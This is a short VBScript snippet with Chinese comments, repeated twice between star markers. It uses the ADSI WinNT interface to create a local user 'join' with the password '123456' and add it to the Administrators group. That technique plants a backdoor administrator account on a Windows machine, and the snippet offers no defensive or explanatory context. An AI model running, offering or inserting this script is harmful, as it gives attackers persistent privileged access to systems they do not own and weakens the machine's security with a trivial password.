★
set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\")
os=\"WinNT://\"&wsnetwork.ComputerName
Set ob=GetObject(os) ’得到adsi接口,绑定
Set oe=GetObject(os&\"/Administrators,group\") ’属性,admin组
Set od=ob.Create(\"user\",\"join\") ’建立用户
od.SetPassword \"123456\" ’设置密码
od.SetInfo ’保存
Set of=GetObject(os&\"/join\",user) ’得到用户
oe.add os&\"/join\"
★
★
set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\")
os=\"WinNT://\"&wsnetwork.ComputerName
Set ob=GetObject(os) ’得到adsi接口,绑定
Set oe=GetObject(os&\"/Administrators,group\") ’属性,admin组
Set od=ob.Create(\"user\",\"join\") ’建立用户
od.SetPassword \"123456\" ’设置密码
od.SetInfo ’保存
Set of=GetObject(os&\"/join\",user) ’得到用户
oe.add os&\"/join\"
★